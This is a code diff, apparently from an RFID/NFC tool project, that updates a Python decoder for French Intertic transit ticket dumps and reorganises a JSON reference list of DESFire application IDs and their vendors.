EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
EventCount_mb = Usage.nom(6)
unk0 = Usage.nom_bits(4)
EventCode_Nature_mb = Usage.nom(4)
EventCode_Type_mb = Usage.nom(4)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
0x4: 'urban bus',
0x1: 'tramway',
}
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' Count(?) : {}'. format(EventCount_mb))
print(' unk0... :', unk0);
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(27)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(63)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
print(' !!! Trying Usage_1 (the most common) !!!')
Usage.reset()
Certificate.reset()
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
class InterticHelper(NamedTuple):
OrganizationalAuthority: str
ContractProvider: str
UsageDescribeFunction: callable = None
ISO_Countries = { ISO_Countries = {
0x250: 'France', 0x250: 'France',
} }
FRA_OrganizationalAuthority_Contract_Provider = { FRA_OrganizationalAuthority_Contract_Provider = {
0x000: { 0x000: {
5: 'Lille (Ilévia / Keolis)', 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
7: 'Lens-Béthune (Tadao / Transdev)', 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
}, },
0x006: { 0x006: {
1: 'Amiens (Ametis / Keolis)', 1: InterticHelper('Amiens', 'Ametis / Keolis'),
}, },
0x008: { 0x008: {
15: 'Angoulême (STGA)', 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
}, },
0x021: { 0x021: {
1: 'Bordeaux (TBM / Keolis)', 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
}, },
0x057: { 0x057: {
1: 'Lyon (TCL / Keolis)', 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
}, },
0x072: { 0x072: {
1: 'Tours (filbleu / Keolis)', 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
}, },
0x078: { 0x078: {
4: 'Reims (Citura / Transdev)', 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
},
0x502: {
83: 'Annecy (Sibra)',
}, },
0x091: { 0x091: {
1: 'Strasbourg (CTS)', 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
},
0x502: {
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
10: InterticHelper('Clermont-Ferrand', 'T2C'),
}, },
0x907: { 0x907: {
1: 'Dijon (Divia / Keolis)', 1: InterticHelper('Dijon', 'Divia / Keolis'),
}, },
0x908: { 0x908: {
1: 'Rennes (STAR / Keolis)', 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
8: 'Saint-Malo (MAT / RATP)', 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
}, },
0x911: { 0x911: {
5: 'Besançon (Ginko / Keolis)', 5: InterticHelper('Besançon', 'Ginko / Keolis'),
}, },
0x912: { 0x912: {
3: 'Le Havre (Lia / Transdev)', 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
}, },
0x913: { 0x913: {
3: 'Nîmes (Tango / Transdev)', 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
}, },
0x917: { 0x917: {
4: 'Angers (Irigo / RATP)', 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
7: 'Saint-Nazaire (Stran)', 7: InterticHelper('Saint-Nazaire', 'Stran'),
}, },
} }
@ -138,99 +314,73 @@ def main():
file.close() file.close()
SystemArea = BitMe()
Distribution_Data = BitMe() Distribution_Data = BitMe()
C1 = BitMe() Block0Left = BitMe()
C2 = BitMe() # Usage_DAT = BitMe()
Usage_Sta_B = BitMe() # Usage_CER = BitMe()
Usage_Sta_E = BitMe() Usage_A_DAT = BitMe()
Usage_Data = BitMe() Usage_A_CER = BitMe()
Usage_Cer = BitMe() Usage_B_DAT = BitMe()
Usage_B_CER = BitMe()
Distribution_Cer = BitMe() Distribution_Cer = BitMe()
SWAP = None
RELOADING1 = None
COUNTER1 = None
# RELOADING2 = None
# COUNTER2 = None
Describe_Usage = None
Distribution_Data_End = data.nom_bits(24) Block0Left.addBits(data.nom_bits(23))
SystemArea.addBits(data.nom_bits(8)) KeyId = data.nom(4)
PID = data.nom(5)
PID = SystemArea.nom(5)
bIsFlipFlop = PID & 0x10
KeyId = SystemArea.nom(3)
print()
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
print('KeyId :', hex(KeyId));
match PID: match PID:
case 0x02: case 0x10:
Distribution_Data.addBits(data.nom_bits(3 * 32)) Distribution_Data.addBits(data.nom_bits(2 * 32))
Usage_Data_End = data.nom_bits(30) Distribution_Data.addBits(Block0Left.nom_bits_left())
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
C1.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
C2.addBits(data.nom_bits(32)) COUNTER1 = data.nom(24)
Usage_Data.addBits(data.nom_bits(7 * 32)) SWAP = data.nom(32)
Usage_Data.addBits(Usage_Data_End) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16)) Usage_B_DAT.addBits(data.nom_bits(4 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case 0x06: case 0x11 | 0x19:
Distribution_Data.addBits(data.nom_bits(4 * 32)) Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32)) Distribution_Data.addBits(Block0Left.nom_bits_left())
C2.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
Distribution_Data.addBits(data.nom_bits(3 * 32)) COUNTER1 = data.nom(24)
Distribution_Data.addBits(Distribution_Data_End) SWAP = data.nom(32)
Usage_Data_End = data.nom_bits(30) Usage_A_DAT.addBits(data.nom_bits(3 * 32))
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Data.addBits(data.nom_bits(3 * 32)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Data.addBits(Usage_Data_End) Usage_B_DAT.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_B_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_B_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x07:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(4 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x0a:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32))
# No USAGE for 0x0a
case 0x0b: # Not in the draft :(
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case _: case _:
print('PID not (yet?) supported') print('PID not (yet?) supported: 0x{:02x}'.format(PID))
return 3 return 3
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
print('KeyId : 0x{:1x}'.format(KeyId))
print()
''' '''
DISTRIBUTION DISTRIBUTION
------------ ------------
Not very well documented but seems standard for this part Not very well documented but seems standard for this part
''' '''
if not Distribution_Data.isEmpty():
ContractNetworkId = Distribution_Data.nom_bits(24) ContractNetworkId = Distribution_Data.nom_bits(24)
CountryCode = ba2int(ContractNetworkId[0:0+12]) CountryCode = ba2int(ContractNetworkId[0:0+12])
@ -243,21 +393,6 @@ def main():
Distribution_left = Distribution_Data.nom_bits_left() Distribution_left = Distribution_Data.nom_bits_left()
RELOADING1 = C1.nom(8)
COUNTER1 = C1.nom(24)
RELOADING2 = C2.nom(8)
COUNTER2 = C2.nom(24)
'''
USAGE
-----
No documentation about Usage
All is left
'''
Usage_left = Usage_Data.nom_bits_left()
if not Distribution_Data.isEmpty():
print()
print('DISTRIBUTION') print('DISTRIBUTION')
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
@ -268,23 +403,42 @@ def main():
if (oa is not None): if (oa is not None):
s = oa.get(ContractProvider) s = oa.get(ContractProvider)
if (s is not None): if (s is not None):
print(' ~ Authority & Provider ~ :', s) print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
Describe_Usage = s.UsageDescribeFunction
print(' ContractTariff :', ContractTariff); print(' ContractTariff :', ContractTariff);
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
print(' left... :', Distribution_left); print(' left... :', Distribution_left);
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
print() print()
print('COUNTER')
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
if not Usage_Data.isEmpty(): if(Describe_Usage is None):
Describe_Usage = Describe_Usage_Generic
if COUNTER1 is not None:
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
# if COUNTER2 is not None:
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
if SWAP is not None:
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
'''
USAGE
-----
No real documentation about Usage
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
'''
if not Usage_A_DAT.isEmpty():
print() print()
print('USAGE') print('USAGE_A')
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
if not Usage_B_DAT.isEmpty():
print()
print('USAGE_B')
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
print(' left... :', Usage_left);
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
return 0 return 0

View file

@ -4,14 +4,62 @@
"Vendor": "NFC Forum", "Vendor": "NFC Forum",
"Country": "US", "Country": "US",
"Name": "NFC Forum NDEF Tag", "Name": "NFC Forum NDEF Tag",
"Description": "(FID 03: Capability Container)", "Description": "FID 03: Capability Container",
"Type": "ndef" "Type": "ndef"
}, },
{
"AID": "000357",
"Vendor": "LEGIC",
"Country": "DE",
"Name": "LEGIC",
"Description": "FID 02: EF-CONF",
"Type": "pacs"
},
{
"AID": "2081F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access Control",
"Description": "Cardax Card Data Application",
"Type": "pacs"
},
{
"AID": "2F81F4",
"Vendor": "Gallagher",
"Country": "NZ",
"Name": "Access Control",
"Description": "Card Application Directory [CAD]",
"Type": "pacs"
},
{
"AID": "4791DA",
"Vendor": "Prima Systems",
"Country": "SI",
"Name": "Prima FlexAir Access Control",
"Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions",
"Type": "pacs"
},
{
"AID": "53494F",
"Vendor": "HID",
"Country": "US",
"Name": "Access Control",
"Description": "HID Factory",
"Type": "pacs"
},
{
"AID": "6F706C",
"Vendor": "Openpath",
"Country": "US",
"Name": "Access control",
"Description": "Openpath PACS Application",
"Type": "pacs"
},
{ {
"AID": "D3494F", "AID": "D3494F",
"Vendor": "HID", "Vendor": "HID",
"Country": "US", "Country": "US",
"Name": "SIO DESFire Ev1", "Name": "SIO DESFire EV1",
"Description": "Field Encoder", "Description": "Field Encoder",
"Type": "pacs" "Type": "pacs"
}, },
@ -24,116 +72,36 @@
"Type": "pacs" "Type": "pacs"
}, },
{ {
"AID": "53494F", "AID": "F48EF1",
"Vendor": "HID", "Vendor": "Salto Systems",
"Country": "US", "Country": "ES",
"Name": "Access control", "Name": "Salto Systems",
"Description": "HID Factory", "Description": "",
"Type": "pacs" "Type": "pacs"
}, },
{ {
"AID": "4F5931", "AID": "F48EFD",
"Vendor": "Transport of London", "Vendor": "Salto Systems",
"Country": "UK", "Country": "ES",
"Name": "Oyster Card", "Name": "Salto KS",
"Description": "Key as a Service // FID 01: Standard Data",
"Type": "pacs"
},
{
"AID": "F51BC0",
"Vendor": "STid Group",
"Country": "FR",
"Name": "CCT Card / DTA Tag / PCG Fob",
"Description": "STid Easyline / Architect Access Credetials",
"Type": "pacs"
},
{
"AID": "F52310",
"Vendor": "Integrated Control Technology Limited [ICT]",
"Country": "NZ",
"Name": "ICT Access Credential",
"Description": "", "Description": "",
"Type": "transport" "Type": "pacs"
},
{
"AID": "422201",
"Vendor": "Transport of Istanbul",
"Country": "Turkey",
"Name": "Istanbulkart",
"Description": "",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Metropolitan Transportation Commission / Cubic",
"Country": "US",
"Name": "Clipper Card",
"Description": "",
"Type": "transport"
},
{
"AID": "000357",
"Vendor": "LEGIC",
"Country": "DE",
"Name": "Legic",
"Description": "(FID 02: EF-CONF)",
"Type": ""
},
{
"AID": "578000",
"Vendor": "NORTIC",
"Country": "",
"Name": "NORTIC Card Issuer",
"Description": "(FID 0C: Card Issuer Header)",
"Type": "transport"
},
{
"AID": "578001",
"Vendor": "NORTIC",
"Country": "",
"Name": "NORTIC Transport",
"Description": "(FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder",
"Type": "transport"
},
{
"AID": "784000",
"Vendor": "NOL",
"Country": "UAE",
"Name": "Nol Card/Dubai",
"Description": "Nol Card/Dubai",
"Type": ""
},
{
"AID": "956B19",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9800",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9801",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "DB9802",
"Vendor": "PING PING",
"Country": "",
"Name": "PingPing Tag",
"Description": "PingPing Tag",
"Type": ""
},
{
"AID": "F21030",
"Vendor": "ORCA (VUX/ERG)",
"Country": "",
"Name": "ORCA Card",
"Description": "(FIDs 02: Trip History; 04: current balance)",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Clipper",
"Country": "US",
"Name": "Clipper Card/San Francisco Bay Area ",
"Description": "(FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History)\\nFFFFFF General Issuer Information (FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher)",
"Type": "transport"
}, },
{ {
"AID": "F518F0", "AID": "F518F0",
@ -144,36 +112,35 @@
"Type": "alarm system" "Type": "alarm system"
}, },
{ {
"AID": "F38091", "AID": "05845F",
"Vendor": "Microtronic AG", "Vendor": "InterCard GmbH Kartensysteme",
"Country": "CH", "Country": "DE",
"Name": "Microtronic Tag", "Name": "InterCard",
"Description": "", "Description": "Campus Card",
"Type": "payment system"
},
{
"AID": "F88280",
"Vendor": "TU Delft",
"Country": "NL",
"Name": "Uni Delft",
"Description": "",
"Type": "student" "Type": "student"
}, },
{ {
"AID": "F5217D", "AID": "15845F",
"Vendor": "TU Delft", "Vendor": "InterCard GmbH Kartensysteme",
"Country": "NL", "Country": "DE",
"Name": "Uni Delft", "Name": "InterCard",
"Description": "", "Description": "Campus Card",
"Type": "student" "Type": "student"
}, },
{ {
"AID": "F48EF1", "AID": "25845F",
"Vendor": "TU Delft", "Vendor": "InterCard GmbH Kartensysteme",
"Country": "NL", "Country": "DE",
"Name": "Uni Delft", "Name": "InterCard",
"Description": "", "Description": "Campus Card",
"Type": "student"
},
{
"AID": "35845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student" "Type": "student"
}, },
{ {
@ -265,43 +232,11 @@
"Type": "student" "Type": "student"
}, },
{ {
"AID": "F001D0", "AID": "554E49",
"Vendor": "Arabako Foru Aldundia", "Vendor": "Slovenian Universities",
"Country": "", "Country": "SI",
"Name": "BAT", "Name": "Slovenian University Student ID",
"Description": "", "Description": "Issued by University of Ljubljana, Maribor and Primorska",
"Type": "transport"
},
{
"AID": "05845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "15845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "25845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student"
},
{
"AID": "35845F",
"Vendor": "InterCard GmbH Kartensysteme",
"Country": "DE",
"Name": "InterCard",
"Description": "Campus Card",
"Type": "student" "Type": "student"
}, },
{ {
@ -329,43 +264,27 @@
"Type": "student" "Type": "student"
}, },
{ {
"AID": "C26001", "AID": "F48EF1",
"Vendor": "CAR2GO", "Vendor": "TU Delft",
"Country": "DE", "Country": "NL",
"Name": "MemberCard", "Name": "Uni Delft",
"Description": "CAR2GO - Member Card", "Description": "",
"Type": "carsharing" "Type": "student"
}, },
{ {
"AID": "2F81F4", "AID": "F5217D",
"Vendor": "Gallagher", "Vendor": "TU Delft",
"Country": "NZ", "Country": "NL",
"Name": "Access control", "Name": "Uni Delft",
"Description": "Card Application Directory (CAD)", "Description": "",
"Type": "pacs" "Type": "student"
}, },
{ {
"AID": "2081F4", "AID": "F88280",
"Vendor": "Gallagher", "Vendor": "TU Delft",
"Country": "NZ", "Country": "NL",
"Name": "Access control", "Name": "Uni Delft",
"Description": "Cardax Card Data Application", "Description": "",
"Type": "pacs"
},
{
"AID": "6F706C",
"Vendor": "Openpath",
"Country": "US",
"Name": "Access control",
"Description": "Openpath PACS Application",
"Type": "pacs"
},
{
"AID": "554E49",
"Vendor": "Slovenian Universities",
"Country": "SI",
"Name": "Slovenian University Student ID",
"Description": "Issued by University of Ljubljana, Maribor and Primorska",
"Type": "student" "Type": "student"
}, },
{ {
@ -376,14 +295,6 @@
"Description": "", "Description": "",
"Type": "payment system" "Type": "payment system"
}, },
{
"AID": "78E127",
"Vendor": "Disney",
"Country": "US",
"Name": "Disney MagicBand",
"Description": "",
"Type": "payment system"
},
{ {
"AID": "44434C", "AID": "44434C",
"Vendor": "Disney", "Vendor": "Disney",
@ -393,195 +304,307 @@
"Type": "payment system" "Type": "payment system"
}, },
{ {
"AID": "F21100", "AID": "78E127",
"Vendor": "MyKI", "Vendor": "Disney",
"Country": "AUS",
"Name": "Myki",
"Description": "AID found on Myki ticket cards",
"Type": "transport"
},
{
"AID": "F210F0",
"Vendor": "MyKI",
"Country": "AUS",
"Name": "Myki",
"Description": "AID found on Myki ticket cards",
"Type": "transport"
},
{
"AID": "F206B0",
"Vendor": "ACS",
"Country": "AUS",
"Name": "Metrocard / ACS",
"Description": "",
"Type": "transport"
},
{
"AID": "F21050",
"Vendor": "INIT",
"Country": "NZ",
"Name": "Metrocard / Christchurch",
"Description": "",
"Type": "transport"
},
{
"AID": "F21150",
"Vendor": "HAGUESS",
"Country": "CZ",
"Name": "Lítačka / Prague",
"Description": "",
"Type": "transport"
},
{
"AID": "F21360",
"Vendor": "INIT",
"Country": "CZ",
"Name": "HOLO",
"Description": "",
"Type": "transport"
},
{
"AID": "F21381",
"Vendor": "Cubic",
"Country": "US", "Country": "US",
"Name": "Ventra", "Name": "Disney MagicBand",
"Description": "", "Description": "",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "F213A0", "AID": "956B19",
"Vendor": "INIT", "Vendor": "Alfa-Zet",
"Country": "US", "Country": "BE",
"Name": "WAVE / Rhode Island", "Name": "ping.ping Tag",
"Description": "", "Description": "ping.ping Tag",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "F210E0", "AID": "DB9800",
"Vendor": "Hop Fastpass", "Vendor": "Alfa-Zet",
"Country": "", "Country": "BE",
"Name": "Hop Fastpass", "Name": "ping.ping Tag",
"Description": "", "Description": "ping.ping Tag",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "EF2011", "AID": "DB9801",
"Vendor": "HSL", "Vendor": "Alfa-Zet",
"Country": "FI", "Country": "BE",
"Name": "HSL / Helsinki", "Name": "ping.ping Tag",
"Description": "", "Description": "ping.ping Tag",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "A00216", "AID": "DB9802",
"Vendor": "ITSO", "Vendor": "Alfa-Zet",
"Country": "", "Country": "BE",
"Name": "ITSO", "Name": "ping.ping Tag",
"Description": "", "Description": "ping.ping Tag",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "554000", "AID": "F38091",
"Vendor": "AT HOP", "Vendor": "Microtronic AG",
"Country": "", "Country": "CH",
"Name": "AT HOP", "Name": "Microtronic Tag",
"Description": "", "Description": "",
"Type": "transport" "Type": "payment system"
}, },
{ {
"AID": "534531", "AID": "C26001",
"Vendor": "OPAL", "Vendor": "CAR2GO",
"Country": "AUS", "Country": "DE",
"Name": "OPAL", "Name": "MemberCard",
"Description": "", "Description": "CAR2GO - Member Card",
"Type": "transport" "Type": "carsharing"
},
{
"AID": "2211AF",
"Vendor": "Leap",
"Country": "",
"Name": "Leap",
"Description": "",
"Type": "transport"
},
{
"AID": "015342",
"Vendor": "BEM",
"Country": "TH",
"Name": "BEM / Bangkok",
"Description": "",
"Type": "transport"
},
{
"AID": "012242",
"Vendor": "Istanbulkart",
"Country": "TR",
"Name": "Istanbulkart / Istanbul",
"Description": "",
"Type": "transport"
},
{
"AID": "010000",
